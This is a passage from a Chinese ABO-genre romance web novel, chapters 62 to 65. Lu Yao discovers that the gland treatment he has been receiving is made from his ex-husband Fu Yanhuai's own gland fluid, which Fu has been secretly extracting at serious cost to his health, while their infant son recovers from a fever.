鹿遥无奈看着傅际中把年年抱过去,没想到这个家里最宠年年的人竟然是傅际中,文筝都不会满足年年的所有要求。 年年还有一直看着桌上的策划案,傅际中把他抱着往桌边凑近了点,“要拿什么?” 年年吭哧吭哧抓住策划案一角提起来,他兴奋地拎起它冲鹿遥邀功,“嗯嗯!” 鹿遥停顿一瞬,把那份策划案从年年手中接过来,顺便把年年本人也抱进怀里。 鹿遥对傅际中解释道,“年年喜欢听故事睡觉,他可能是想让我给他读故事。” 傅际中恍然,“原来是这样。” 文筝假装什么也没有听到继续喝汤,看来的确有必要看看傅晏淮最近在搞什么鬼。 第62章 第 62 章 停止 鹿遥的身体很沉, 他觉得或许是因为自己的肚子太大了。 但是还是很奇怪,他怎么会连翻身的力气都没有。 隐隐有医生和护士的说话声传来,“看着不太好…是啊…孩子可能要早产…” “还不是怪他自己不小心, 我们有什么办法…” 鹿遥拼命想睁开眼睛,但却只能一直这样浑浑噩噩听着。 过了一会儿, 有人来了。 凉凉的白冷杉气味飘到他鼻尖,是傅晏淮。 他捏着后颈的腺体, 对鹿遥低声道, “别害怕, 不会有事的。” 离婚协议和这句话在鹿遥脑海中不断交织, 他终于猛地惊醒过来。 夏时越迷迷糊糊开了一盏小夜灯, 他凑过去问道, “小鹿,你怎么了?” 鹿遥身上全是冷汗,他面色苍白又惊惶, 夏时越一激灵彻底清醒了, “这是怎么回事。” 鹿遥听着夏时越的声音才慢慢回神, 他勉强坐起来道,“做了个噩梦。” 鹿遥已经冷静了下来,他身上出汗很不舒服, “我去冲个澡。” 夏时越却有点疑惑道, “好像有什么味道甜甜的…是不是你的腺体又恢复了一点?” 鹿遥下床的动作凝滞,“我?” 他迟疑用指尖碰了碰,那里好像变软了一些。 鹿遥背对着夏时越坐在床上,他的声音听起来有点哑。 “直到现在,想起生年年的那天,我还是会感到害怕。”鹿遥自嘲笑笑, “时越,我是不是很胆小。” 夏时越长长叹了口气,“你已经做了所有能做的了。” 鹿遥去浴室静静冲了个澡,他换了身睡衣静悄悄出门,到隔壁婴儿房去看了看年年。 年年小脸红扑扑睡得很好,鹿遥看着他忍不住笑,但后来笑意又慢慢淡下去。 “我幻想过很多次你出生后的场景。”鹿遥的声音很轻,年年没有丝毫醒来的迹象。 鹿遥安静地诉说,“我会贴一贴你的脸,然后医生把你抱去做正常的检查。婴儿的哭声应该会很吵,但也很响亮。手术完成我会在房间里看到你,和你的父亲一起,讨论你长得更像谁。” 腺体复苏带来的痛痒和下雨天剖腹产疤痕的感觉很像,鹿遥俯下身亲亲年年,他专注地看着自己的孩子,“我真的很怕会失去你。” 没有听到哭声的那一刻,鹿遥无法用语言描述自己的恐慌。可他甚至没有时间让自己冷静下来,因为他紧接着就得到爱人送来的离婚协议。 “爸爸真的很胆小,不过以后会勇敢一点的。” 腺体恢复的确给鹿遥带来了一点负面影响,他不可避免地变得有点情绪化。 鹿遥不知道诱导剂是有傅晏淮的腺体/液制成,所以他的情绪会受到傅晏淮的影响。他只知道自己从昨天开始情绪就一直在起伏,这让他想起了自己快要分化变成omega的那个时候。 真的熟悉的异样感啊。 鹿遥第二天没有起晚,他和往常一样没有任何异样地重复每天早上都会做的事。 他照常给年年喂奶,擦脸,抱着他下楼闲逛一圈,又陪他玩了一会玩具,然后鹿遥没有迟疑地直接去了傅氏集团。 鹿遥没有提前告诉助理自己要来,只是到公司请前台看看傅晏淮今天有没有合适的时间。 前台的回答却出乎鹿遥意料,“傅总今天要下午才来公司,您请稍等一会,我联系一下总助询问行程。” 鹿遥微微惊愕,“这样…公司事很忙的话就不用麻烦了,我明天再来。” 除了外出办公以外,鹿遥想不出来傅晏淮会平白无故晚来半天的其他原因。 前台好脾气地道,“那我也给您登记一下,您坐一会吧,我给您倒水。” 鹿遥想了想,还是没有离开,他熟门熟路坐电梯到顶层的会客室等着。秘书也认得鹿遥,鹿遥身上明晃晃写着几个字,顶头上司的在逃前夫。 秘书不敢过多看老板的八卦,她送完水就关门退了出去。 鹿遥心不在焉打开联系软件,他滑到傅晏淮的时候停住,又返回去翻到傅晏淮助理。 鹿遥敲下几个字:傅晏淮现在还在忙吗?他下午大约几点来公司? 助理收到信息愣了一下,他直接把手机拿给一旁的傅晏淮看,“傅总,鹿先生联系您。” 傅晏淮半躺着靠在靠枕上闭目养神,他还在打退烧针。 听见助理的话傅晏淮睁开眼睛,他侧头看向助理伸手。 他偏过头去看信息时露出颈侧大片的淤青,现在他身上的信息素味道已经变得很浅,腺体/液已经不够支撑正常分泌信息素了。 傅晏淮看清内容后直接回复:下午一点到公司。 助理蹙眉看了眼腕间的表,“您不如再多休息一会,一点的话,时间上是不是有点太紧了。” “我没事。” 傅晏淮仰头看吊瓶,他在昨天半夜忽然高烧,现在温度也还没有降下来。 他现在脸色还是烧得有点红,但傅晏淮最担心的还不是这件事,“这次发烧是因为腺体状况出了问题,腺体/液很可能不够下一次的用量,但鹿遥…” 鹿遥的腺体刚有起色一点,傅晏淮答应过他一定会让他的腺体恢复。 助理试探问道,“那不如先等一等?况且鹿先生现在其实应该也可以接受药物了,或许可以和医生上衣现在加入药剂。” 鹿遥在对面只简单回了一个字:好。 傅晏淮把手机还给助理,他没有丝毫停顿道,“不,就按照医生现在要求的来。” 助理倍感无奈,“可是医生也说了,如果您再按照现在的频率抽取腺体/液的话,会引发很严重的腺体疾病,或许还会导致腺体永久性损伤。” 傅晏淮看起来没什么所谓,他甚至没有什么特别激动的反应,他只是平平道,“嗯,你先走吧,中午来接我。” 助理无话可说,他叹了口气转身关上门。 傅晏淮枕着另一只空出的手臂,仰头无所事事看着天花板。 鹿遥在病房里的时候大概也就是这样,应该还会比他更不舒服一点,没有什么可以解闷的东西,也没有家人陪在身边,就只是自己一个人等着。 鹿遥生产的时候,他的确应该陪在他身边的。 傅晏淮浅眠了一会就醒了,他没有睡着,尽管很疲惫,但入睡对他来说仍然很困难。 烧已经退了,傅晏淮对着镜子皱了皱眉,生病让他看起来有点憔悴。 傅晏淮重新洗漱刮了胡子,他整理好袖口,又仔仔细细贴了一块肉色阻断贴。傅晏淮审视从上到下又看了一遍,确定没有一丝异常才抬脚出去。 傅晏淮收拾一下还是很能唬人的,助理看见傅晏淮面色如常出坐在后排忍不住内心惊叹,s级果然具有非常顽强旺盛的生命力。 现在的傅晏淮和昨晚高烧不退憔悴难堪的模样判若两人,要不是每次傅晏淮抽完腺体/液都是系统接他回家,助理也会被他蒙过去。 鹿遥在休息室里等得有点犯困,他歪倒着靠在沙发椅背里昏昏欲睡。 傅晏淮推门进去的时候,看到的景象就是鹿遥别扭地蜷在沙发上睡着,傅晏淮慢慢攥紧门把手,这一幕和以前好像。 和从前的,每一次他下班回到家里,鹿遥在客厅等他回来的场景,一模一样。 傅晏淮把手臂间搭着的大衣盖到鹿遥身上,鹿遥并没有完全睡着,衣服一碰他就醒了。 鹿遥睁开眼睛的一瞬间傅晏淮下意识回避他的目光,外套到底还是没有搭在鹿遥身上,傅晏淮抿唇站直,“等了很久了吧。” 鹿遥眨了眨眼睛清醒过来,他下意识往离傅晏淮相反的方向挪了挪,“没有,是我临时要来的。” 傅晏淮沉默把外套放到一旁,他坐在沙发遥远的另一端,“有什么事吗。” “我想了想,现在腺体的恢复情况还可以,如果可以重新提取腺体/液做安抚剂的话也不错。” 傅晏淮眉头越皱越紧,“你的腺体很脆弱,不能再增加刺激了。” “我知道。”鹿遥坦荡迎上傅晏淮的双眼,“这也是我想说的事。我只想让年年不要再有惊跳症状,并不是一定要让腺体完全恢复到从前,只要年年健康就可以了。” 傅晏淮心中微微一跳,“你的意思是…” 鹿遥深吸口气,“傅晏淮,我的腺体恢复,我们势必会面临很多问题,我们之间的完全标记还存在。所以我觉得,不然就到这里吧。” 现在他的腺体能帮到年年,但又没有好到可以闻见信息素和迎接发情期。 傅晏淮静默了很久很久,鹿遥几乎要以为傅晏淮快变成了一尊雕象。 鹿遥又有了一点奇异的不安感,“你…如果不同意的话,我们也可以商量。” 虽然鹿遥觉得这没什么可商量的,腺体坏不坏和傅晏淮也没什么关系。 “这是你想做的决定,我会无条件尊重。”傅晏淮终于沉声开口,“明天是最后一次取诱导剂的日子,把这一个疗程做完吧。既然你不喜欢,那以后就不再继续进行治疗了。” 鹿遥松了口气,傅晏淮站起身道,“助理送你回去,我先去工作了。” 傅晏淮轻而易举就同意着实让鹿遥心头轻松很多,但与此同时,傅晏淮略带反常的反应又让鹿遥不由怔怔。 他… 鹿遥有些迷茫,傅晏淮好像真的瘦了一点点。 第63章 第 63 章 发烧 鹿遥回到家后夏时越还没有回来, 不知道怎么回事,顾和辰最近频频找夏时越,总是说店里有事, 夏时越忙得都顾不上回来和鹿遥谈心了。 文筝没注意到鹿遥回来了,她正躲在院子的小花房里给傅晏淮打电话。 “周四不行, 周五也不行?那周末呢?” 刚好鹿遥有心思,文筝也想借这个机会叫傅晏淮回来一趟。就算不能增进感情, 傅晏淮陪陪孩子也是好的。每次来看年年都是坐一坐就走, 文筝认为孩子成长过程中双亲的陪伴必不可少, 傅晏淮显然心思没在孩子上。 傅晏淮明天还要抽最后一次腺□□, 他按了按眉心, “下周吧。” 过度抽取腺体贴的连带影响太多, 傅晏淮不能保证自己周末可以完全没有异样地出现在文筝眼前。 傅晏淮了解自己的妈妈,她是很难被糊弄过去的。 文筝稍微起了点警惕心,“周末你有什么事不能回来, 非要等下周?公司项目收尾也要你亲自盯着, 难道傅氏集团要倒闭了?” 傅晏淮对文筝的冷笑话很是无奈, “还没有,存活几十年不成问题。” “那你到底在忙什么。”文筝不客气地道,“叫你回趟家推三阻四的, 你是不是有什么事瞒着我?” 傅晏淮语气平静道, “没有,鹿遥不喜欢看见我,我不想惹他心烦。” 文筝没好气道,“你活该。周末必须回来,就这样。” 文筝直接挂断电话,傅晏淮叹了口气。不过确实如文筝所说, 公司最近事情不算多。 傅晏淮傍晚发烧有些反复,他破天荒地正点下班回家。 傅晏淮回到家后什么也没吃,他直接躺到床上闭目小憩。管家端着托盘敲了敲傅晏淮卧室房门后推开,“傅总。” 傅晏淮依旧闭着眼睛,“你出去吧,我还不饿。” 管家眉头紧锁,“吃饭不规律对胃不好,而且您腺体损伤太严重,至少也应该吃点东西帮助恢复。” “不用了。”傅晏淮睁开眼睛看着管家,“明天就是最后一次了。” 管家愣了一下,“不是说疗程很长,为了避免鹿先生有太严重的刺激反应…” 傅晏淮淡淡应了一声,“嗯。” “以后不用了,你出去吧,我睡一会。” 管家没明白这个以后不用了到底是什么意思,他摇摇头又离开。 鹿遥生产过后离开时没有动卧室里的任何东西,傅晏淮出差回来,也没有把鹿遥的东西拿走。 双人床的另一边还是空着的,最开始鹿遥刚刚离开的那段时间,枕巾和被子上还会有残留的一点点焦糖味,但后来很快都没有了。 傅晏淮前两天心血来潮买了个焦糖味的香氛,可是到底还是不一样的。 鹿遥现在腺体恢复,年年状况比之前好了很多,那他现在应该是会分泌出信息素的,但傅晏淮什么都没有闻到。 白冷杉的味道已经基本没有了,傅晏淮恍然好像体会到了beta的世界。 傅晏淮重新闭上眼睛,一片安静。 鹿遥进门没有看到文筝,他没有多想,可能就是去做保养了。鹿遥就直接上楼去看年年。 年年在玩新买的小狗玩偶,奶油正趴在一边打瞌睡,鹿遥看着他们两个露出微笑。 “年年,爸爸回来啦。” 年年就费力地吭哧吭哧把玩具举起来,鹿遥走过去把年年抱进怀里,“宝宝今天乖不乖?” 年年瞪着圆溜溜的眼睛专注看着鹿遥,然后阿秋一声低头打了个喷嚏。 鹿遥愣住,“年年?” 年年咧开嘴露出天真无邪的笑脸,继续仰头看鹿遥,还把小狗玩具拿着要和鹿遥一起玩。 鹿遥却慢慢皱起眉,他拿着一旁的纸巾给年年擦脸,“怎么流鼻涕了。” 年年注意到鹿遥的情绪变化,他唔了一声低下头自己拽那个玩具。鹿遥用手摸摸他的额头,又抱起来和自己贴贴试温度。 鹿遥没试出来什么异常,倒是年年好像很喜欢被鹿遥抱起来贴贴,他手舞足蹈地晃悠还想要。 鹿遥用手指戳了戳年年手心,年年紧紧握住鹿遥的手。 “好像手有点凉。”鹿遥自言自语道,“穿件外套吧。” 最近换季,早晚凉中午热,不过傅家一年四季都是恒温的,婴儿房的保温隔热做得也很好,年年不应该着凉才对。 鹿遥抱着年年起身挑外套,“穿这个吧,这个不是很厚,在屋子里也能穿。” 鹿遥帮年年扣好扣子,年年很显然并没有觉得冷热什么的,他只想要鹿遥陪他玩。 这下鹿遥安心了许多,他陪着年年一直玩到晚饭时间。年年又被抱下楼看大家一起吃饭,最后喂奶哄睡。 一切看起来都很正常,但是这天半夜育婴师提前敲了鹿遥卧室门。 鹿遥仓促间起床还有些迷糊,育婴师神情很严肃,“小少爷发烧了。” 鹿遥瞬间清醒过来,他赶忙到隔壁婴儿房看年年的情况。出乎意料地年年并没有哭,他醒了,一个人坐在小床里贴着退烧贴,很好奇地看大家忙来忙去。 虽然生病但好像精神还好,鹿遥还是很担心,他走过去摸摸年年的脸蛋,温度果然很高。 鹿遥有点着急了,“怎么会忽然发烧呢,下午我看他有点流鼻涕,还多加了一件衣服。” 育婴师低声安慰他道,“小孩子抵抗力弱,换季是容易发烧感冒,但是不要紧的,已经请了家庭医生来。” 年年好像不是很难受,就是没有白天那么有精神,他张开手要鹿遥抱抱。 年年紧接着就十分舒适地躺倒进鹿遥怀里,鹿遥又把腺体贴撕了下来,虽然腺体还没完全好,但这个时候应该也能有一点用。 年年满足地眯起眼睛哼哼,鹿遥拍着他哄。 鹿遥对育婴师道,“麻烦您帮我拿一下我的手机。” 年年生病了,那明天他就先不去医院拿药了,还是要等到年年完全退烧才安心。 育婴师点点头去拿,鹿遥反思是不是早上带年年到院子里逛吹到风了。早上冷,应该给年年再穿厚点的。 鹿遥拿到手机直接给傅晏淮发消息:年年发烧了,推迟一天去医院。 傅晏淮晚上又有些低烧,难得睡得早。他睡眠浅也觉少,半夜烧退了就自己起来倒水喝。 傅晏淮在餐桌旁看到鹿遥的消息微微挑眉,年年发烧了? 他直接回复道:好。年年情况怎么样,严不严重。 鹿遥原本发完消息就把手机放到一边,结果傅晏淮的回复紧跟着就出现了。 鹿遥看了眼时间,2:23am。 他迷惑地又看了看手机,“这么晚了,还没睡吗。” 傅晏淮毕竟是年年的父亲,鹿遥还是如实给他回了:发烧38.2℃,不过没有哭,精神很好。 这次傅晏淮问得更仔细:着凉了吗,还是被传染到病毒了? 年年在鹿遥的怀里哼哼了一会,现在大约是后知后觉地感觉到不舒服,情绪稳不住了,他挣动着想哭。 鹿遥匆匆回复傅晏淮:应该只是着凉。 然后就彻底把手机扔到一边,拿毛巾给年年擦脸,又用酒精降温。 傅晏淮又问了一句:冯医生去了吗? 这么一会的功夫年年彻底难受起来,他哇地一声开始大哭。 鹿遥和育婴师一起赶忙手忙脚乱地哄他,傅晏淮等了等,没有等到鹿遥的消息。 傅晏淮坐在深夜安静的沙发里,他慎重编辑了几个字发送:记得早点休息,别太辛苦。 鹿遥没看到,看到了他也不会理会。年年哭闹的动静很大,到底还是把所有人都吵醒了。傅际中一看年年担心得不行,就差把自己给年年当玩具玩了。 冯医生来了也没有太好的办法,孩子太小不能打针吃药,只能物理降温和大人多照看一点。 这一下一直折腾到天亮年年才蔫蔫睡着,鹿遥身体不如以前好,熬夜了这几个小时又困又累,直接回房睡到了中午才醒。 鹿遥没有去医院,但傅晏淮照常去了医院提取腺体/液。文筝下最后通牒要他周末回家,傅晏淮不想抽腺体/液和回家时间太近。 傅晏淮颈侧的淤青已经很严重,医生严肃提醒他,“腺体状态已经很差了,您还患有信息素抵抗。从一周前你应该就已经闻不到信息素的味道了,您确定今天还要正常进行吗?” 傅晏淮面色也有些疲惫,他昨晚醒了后就一直没睡着,“抽吧。” 这次刚刚离开医院傅晏淮就开始发烧,他被迫没有再回公司,而是直接回家卧床休息。 他刚换下衣服没多久文筝就打来电话,“年年生病了,你今天下班来看看孩子吧。” 傅晏淮更头痛了,他哑声道,“今天不行。” 文筝敏锐听出不对,“你的声音怎么了?” 她越想越狐疑,“从昨天开始你就推三阻四不回家,孩子生病你也不能回,你到底有什么事瞒着我。” 傅晏淮随便想了个半真半假的理由,“我也生病了,回去会传染年年。” 文筝匪夷所思道,“听着声音确实是像,但是s级怎么会生病?你都多少年没生病过了。” 傅晏淮敷衍道,“最近换季,公司感冒的人多。今天不行,周末吧。小鹿昨晚照顾年年到很晚吗?” 文筝微微眯了下眼,“还没醒呢。既然这样的话,那我去看看你总行了吧。孩子生病了妈妈去看看,也是很正常的。” 傅晏淮无奈低笑一声,“您这是想干什么,不用。小鹿自己照顾年年照顾不过来,您多帮帮他吧。” 文筝没和傅晏淮嘴上争辩,她痛快答应了,“行,那你可要记得,周末回家。” 傅晏淮嗯了声,“知道了。” 第64章 第 64 章 淤青 助理直接把这次的药送到了傅家老宅, 傅晏淮又发烧了,他关了手机补眠。 鹿遥和年年醒的时间差不多,年年昨晚一直折腾到天亮, 现在醒了也蔫叽叽的没什么精神。 鹿遥又给年年试了一下温度,37.4℃。 鹿遥松了口气, 温度也算是降下来了。年年闷不吭声地躺在小床里嘬奶瓶,鹿遥把被子往上拉了拉。 年年看着还是不舒服, 不过食欲倒是很旺盛, 嘬奶瓶嘬得很用力。 鹿遥忍不住笑笑, “昨晚发烧出汗, 看来是饿了。” 年年吃完鹿遥把奶瓶拿走, 年年拱进鹿遥怀里, 趴着不动了。 年年被鹿遥抱着晃悠,他安静看着窗外发呆。 助理到时只有文筝在楼下,傅际中野区婴儿房看年年了, 文筝有些诧异地看着他。 “延了一天去医院而已, 算什么要紧的事, 傅晏淮让你去医院跑一趟拿药的?” 助理含糊道,“嗯,医生说用量和上次一样。那, 您没什么事的话, 我就先走了。” 文筝蹙眉,“急着回公司?” “呃…” 助理不敢对文筝撒谎,但也不敢说实话,他最终选择了已读乱回,“好的。” 文筝眼神意味深长,“行, 你走吧。” 助理前脚刚离开,文筝后脚就拿着药起身上楼。 年年玩了一会精神了许多,傅际中不厌其烦一遍一遍拿玩具逗他,鹿遥坐在年年后面一直半搂着他,以防他坐不稳摔下去。 育婴师最先看见站在门口的文筝,她弯腰提醒鹿遥,鹿遥愣了一下把年年抱给育婴师。 傅际中皱着眉用眼神询问文筝,文筝示意他稍安勿躁。 鹿遥走出房间问道,“妈妈,怎么了吗?” 文筝笑笑,“没什么事。就是刚刚傅晏淮助理有东西落在我这了,我想着,正好前两天管家还问起你,不如你替妈妈跑一趟,把这个还回去。” 药被换了个包装袋,鹿遥迟疑接过来。 这个时间傅晏淮应该上班去了,而且他也的确很久没有看到管家,管家对他其实还是很照顾的。 “好。”鹿遥温声道,“那我去一下就回来。” “嗯嗯。”文筝宽慰他道,“年年有我和你爸爸看着,不会有事的。” 鹿遥没有多想,拿着东西直接坐车去傅晏淮别墅。 一切都没有什么异常,鹿遥一下车就看到了管家,管家久违看到鹿遥出现,凝滞了很久才凑上前。 “鹿先生,您…” 管家好像有很多话要说,但最终只变成,“您看着气色不错,身体没再有不舒服了吧?” 鹿遥甚至不敢多看别墅内的布置,这里的一切对他来说都太熟悉,熟悉到了几乎陌生的地步。 刚刚答应文筝回来送东西鹿遥还没有想太多,但现在真的置身于这个场景里,鹿遥只觉得恍如隔世。 鹿遥抿唇笑了一下,“我都好,年年也很好。” 他垂眼看着手上的袋子,把它递给管家,“刚刚助理来把这个忘了,妈妈要我送回来。” 管家奇怪道,“助理只拿了一个东西去,怎么还会忘…” 管家随手接过来,袋子是打开的,管家一看便怔住了。 鹿遥都已经要离开,管家仓促叫住他。 “鹿先生,这是傅总给您的东西。” 鹿遥诧异回头,管家笃定道,“是您的药,今天傅总特意去医院拿回来的,不是助理忘记拿走的东西。” 鹿遥不可思议地重复,“我的药?我和他说了年年生病,明天再去医院的,怎么他还是今天去的。” 而且既然不是助理忘记拿走的东西,那为什么妈妈还要他送回来给傅晏淮呢。 管家没有回答,鹿遥迷惑地重新拿回口袋,里面果然是几管诱导剂,他很熟悉。 “为什么傅晏淮每次拿药都要自己亲自去。”鹿遥喃喃道,“好奇怪。” 所有的事情都好奇怪,鹿遥问管家,“他现在在公司吗?” 管家诚实道,“傅总没有去公司,他在楼上休息。” “休息?” 鹿遥下意识去看时间,傅晏淮以前有在工作日的这个时间在家里休息过吗?鹿遥记得从没有过。 鹿遥把口袋合上,他轻轻吐出口气,“我上楼去看看他。” 管家欲言又止想要说些什么,但又不知道自己该不该拦他。 傅晏淮无论做什么都没有必要这样偷偷摸摸地对着他,鹿遥发现自己一遇上和傅晏淮有关的事就很难做到心平气和地看待,直到现在也是这样。 这间卧室鹿遥曾经和傅晏淮同床共枕过快一年的时间,三百多个日日夜夜,每一天至少一半的时间都是傅晏淮陪伴他度过。 他还怀了他们两个的孩子,就在这间房间里,鹿遥曾拥有过真正的家庭。 鹿遥抿唇敲了敲门,“傅晏淮。” 门内很安静没有声息,鹿遥扭头就想走,但犹豫片刻还是又转了回去。 鹿遥努力忽略心底的异样,深呼吸几次直接推开了门。 傅晏淮安安静静躺在床上,鹿遥还来不及感受卧室扑面而来的熟悉感,傅晏淮的异常先吸引了鹿遥的注意。 鹿遥迟疑走近几步,“傅晏淮?” 傅晏淮好像睡着了,可他的脸色又很红。凌晨年年发起高烧躺在小床里也是这样,脸色红彤彤的。 鹿遥恍惚间觉得年年和傅晏淮长得很像,只是他的眼睛不像傅晏淮的。 傅晏淮没有任何反应,鹿遥意识到不对劲匆忙走到床边,傅晏淮眉头紧紧皱在一起,他不是睡着了,应该是高烧半昏迷。 鹿遥顾不得太多伸手试了一下傅晏淮额头温度,他赶忙起身想去找管家,一回头却发现管家在门外满脸的为难。 鹿遥隐隐意识到了什么,他难以置信地喃喃,“s级alpha不会这么容易生病,至少从我和他结婚开始,傅晏淮从没有因为换季而发烧过。” 睡衣领口宽松,傅晏淮颈侧的白色纱布格外显眼。 鹿遥不肯相信,也不敢相信,他的嘴唇微微颤抖。 “那个药,到底是什么。” 管家进退两难,“我…您或许可以等傅总醒了,自己问问他。” “到底是什么?” 鹿遥稍稍提高了些音量,但他很快又强迫自己冷静下来,“我不需要别人替我做决定,也不需要打着为我好的旗号私自为我做什么。我只想知道那个药是不是。” 他猛地收声,半晌才艰涩道,“是不是傅晏淮,他…” 管家沉沉叹息,“是傅总的腺□□。” 管家嗫嚅了一下,试图用一种不是在裹挟鹿遥的方式说出实情,“您的腺体情况十分特殊,如果直接用药的话刺激性太强,而且稍有不慎可能还会对腺体造成更大的负担。最好的办法便是用傅总的腺□□逐步引导,这样可能会更。” 管家在心中默默挑选合适的词,“更加温和和有效。” 鹿遥的面色瞬间苍白下来,“我不知道这件事。” “如果您知道这是用傅总的腺体/液做成的,您就不会再使用了。” 管家委婉道,“傅总并没有逼迫您的意思,他只是想尽可能地补偿您的伤痛和他犯下的错。这件事老爷和夫人也都不知情,是傅总自己的决定。” 鹿遥的神情挣扎又痛苦,“你说他不想逼迫我,可他现在变成这样却是为了我。” 鹿遥的性格注定他不能坦荡接受别人因为他而伤害自己,管家无话可说,傅晏淮瞒着所有人这样做本身就是极不保险的行为,迟早会被发现。 鹿遥咬了下唇,走回到傅晏淮床边看着那块巨大的白色纱布。 他自嘲一笑,伸手小心、缓慢地把它轻轻撕了下来。 管家感觉非常不妙,他连忙偷偷联系文筝。 傅晏淮颈侧的大片淤青刺眼,最中心的位置密密麻麻布满针眼,腺体的位置已经变紫了。 看清的一瞬间,鹿遥的心脏好像被谁狠狠攥了一把,酸胀难过。 “或许你这次真的没有想过逼迫我做什么。”鹿遥小声道,“可你现在这样,躺在这里。” 本身就已经是在逼迫他了。 鹿遥把纱布重新盖上,微凉指尖和脖颈上的肌肤相触碰,傅晏淮紧皱眉头闭着眼动了动。 鹿遥拿上那一袋诱导剂离开,他垂眼对管家道,“生病了就要去医院,年年还没有彻底退烧,我先回去了。” 管家不明白鹿遥是什么意思,也不知道他这是不是生气了,管家忐忑目送鹿遥离开。 文筝在家里看到管家发来的消息怒火瞬间涌上头,“他这是胡闹!” 年年抓着小狗玩具,听见声音警觉抬起头。 傅际中赶忙安抚地拍拍他,“年年不怕啊,爸爸一会儿就回来了,等他回来就抱你。咱们现在都在这等你爸爸回来呢,是不是?” 年年嗯嗯地哼哼两声,继续低头玩小狗毛毛。 傅际中不赞同地看了文筝一眼,“你突然这么大声干什么,吓着孩子了。” 文筝心力交瘁叹了口气,她直接把手机递给傅际中,“你自己看看吧,严管家发给我的。” “怎么回事。” 看文筝这幅表情,傅际中也不由得严肃起来,他接过手机仔细看了看,等看清楚上面字迹之后血压都上来了。 “傅晏淮!他这是…” 傅际中后半句在文筝的眼神下硬生生收回去,傅际中压低声音,“他这是要干什么,人家不原谅他,就搞得这幅要死要活的样子?” 文筝都有些匪夷所思了,“当初瞒着我们离婚,现在瞒着我们抽腺体/液,那他折腾这么一大圈干什么,自找罪受?” 最重要的,鹿遥会怎么想。好不容易他心态平稳下来,紧跟着又… 文筝长叹口气,“我真是管不了了。” 第65章 第 65 章 上位者低头 傅晏淮这一觉睡得不太安稳, 睡梦中隐约觉得有谁来过,但却一直醒不过来。 他真的清醒过来的时候已经是晚上八点多,要感谢这一次严重的高烧, 傅晏淮还算是睡了很长的一觉。 房间里没有人,很安静, 管家除非十分必要,否则也不会贸然进他的卧室打扰。 傅晏淮捏了捏眉心起身, 睡了一觉身体倒没有那么疲惫了, 只不过颈侧还是在抽痛。太久没有进食, 胃部隐隐有灼烧感。 食欲不振是腺体损伤带来的负面反应之一, 傅晏淮对食物失去兴趣已经持续了相当长的一段时间, 这是他无法控制的生理反应。 傅晏淮不太提得起精神, 床的另一边依然是空荡荡的,枕头的主人离家后就再也没有回来。 傅晏淮懒散下楼喝水,管家竟然出乎意料地在客厅里。 看到傅晏淮出现, 严管家直接站了起来快步走过去, “傅总, 您醒了?” 傅晏淮随意一挑眉,他最近发烧也是很频繁的事,怎么今天管家表现得这么激动。 “嗯。”傅晏淮平平从管家身边走过去, “睡得时间长了一点。” 管家欲言又止地跟上傅晏淮, “傅总,您…” 傅晏淮放下水杯,转过身蹙眉看着他,“出什么事了?” 管家不知该如何开始,他为难道,“这…其实并没出什么事。” 傅晏淮干脆不再理会他, 喝完水直接就要上楼回卧室。 “是鹿先生。” 傅晏淮的身影在楼梯前停住,管家叹息一声,“鹿先生今天来过了。” 傅晏淮转回身时脸上的表情绝称不上高兴,他蹙眉问道,“鹿遥都知道了什么?” 管家无奈但只能诚实开口,“可能都已经知道得差不多了。” 傅晏淮深吸口气,“他今天怎么会突然回来,是谁让的。” 管家不敢撒谎,“是文夫人。傅总,现在追究这件事是如何发生已经没有用了,这件事瞒不过去,鹿先生会知道是迟早的事。” “我知道。”傅晏淮面上浮现疲色,“我只是希望,他能在腺体完全恢复之后再发现。” 现在这个时间节点不尴不尬,虽然说鹿遥已经决定不再继续治疗腺体,但鹿遥这个时候知道诱导剂是他的腺/□□制成的,大约只会觉得他还在逼迫他。 傅晏淮沉默后就整理好思绪,“烧还没有彻底退,我依然还是周末回老宅,这些天不要贸然去打扰他们。” 管家委婉道,“或许鹿先生没有这么想,您要不要试着和鹿先生联系一下。” 傅晏淮想也没想地拒绝,“这样显得我太过咄咄逼人,不好。” 傅晏淮笃定道,“就按我说的这样来。” 管家劝不了,傅晏淮决定的事一向没有人能劝得动,管家无言地站在原地目送傅晏淮上楼。 鹿遥又做梦了,这一次的梦安宁美好,美妙得好像所有伤害都不曾发生过。 孕期第38周,年年足月顺利出生。不仅是傅晏淮,傅际中和文筝也都出现在生产后的病房里。 傅晏淮笨拙地拿小勺子喂年年喝奶,年年很不配合,他拧眉注视着他,但还是耐心地一点一点喂进年年嘴里。 文筝在病房里忙乱地安排傅际中到处摆好东西,她说就算只住几天也一定要住得舒服。 家里煲的汤很好喝,鹿遥笑着靠在床上,就只是安静看着他们。 就这样看着,就已经幸福到想要落泪了。 鹿遥醒来的时候眼角有些湿润,他眨了两下眼睛,低头看着被子低声自语,“是个美梦。” 他又到隔壁婴儿房去看了看年年,年年已经彻底退烧了,折腾了一天一夜很消耗体力,年年抱着小狗玩具睡得昏天黑地。 鹿遥无声掩上门下楼。 鹿遥一下楼就看到文筝坐在客厅里,她正在给奶油试穿新到的小狗衣服,但她显然有些心神不宁,因为她把前腿穿成奶油的后脚了。 “妈妈。” 鹿遥神色如常走过去,“穿反了。” 文筝这才后知后觉低头看那件小衣服,奶油无辜又湿漉漉地往上看,文筝疲惫笑笑,“没注意。” 鹿遥蹲下身摸摸奶油,他没有看文筝,而是垂下眼低声道,“给我治疗腺体的医生很权威,也很有经验。” 文筝下意识开口,“你不必因为这件事而勉强你自己,小鹿,妈妈一直都只是希望…” “我知道的,妈妈。”鹿遥仰起头看着文筝,“我并不是违心的。” 傅晏淮现在变成这个样子,看上去真的很像是把鹿遥架在火上烤。但无论傅晏淮本意是否如此,鹿遥都不能对别人为自己的付出视而不见。 鹿遥坦然道,“我们两个之间的感情问题和这个无关,我觉得,我们之间或许有一些事情,应该开诚布公地谈一谈。” 文筝愣住,“的确是这样。” 但她很快又反应过来,她欲言又止看着鹿遥,“那你…” “妈妈。”鹿遥不想让文筝为自己担心,更不想让她在自己和傅晏淮之间左右为难。 鹿遥清楚的,文筝把他当作自己的孩子一般疼爱,可她就是傅晏淮的妈妈,这永远都不会发生改变。 “我们两个会处理好的。”鹿遥承诺道,“我很快就回来。” 傅晏淮还不知道鹿遥要来,他原本计划今天正常去公司,但出现了一点小插曲。 腺体的状况比昨天更加糟糕,傅晏淮又开始高烧,胃痉挛,颈侧皮肤变成深紫色。 傅晏淮审视地仔细看了看,按照正常逻辑进行推断,腺体应该要坏死了。 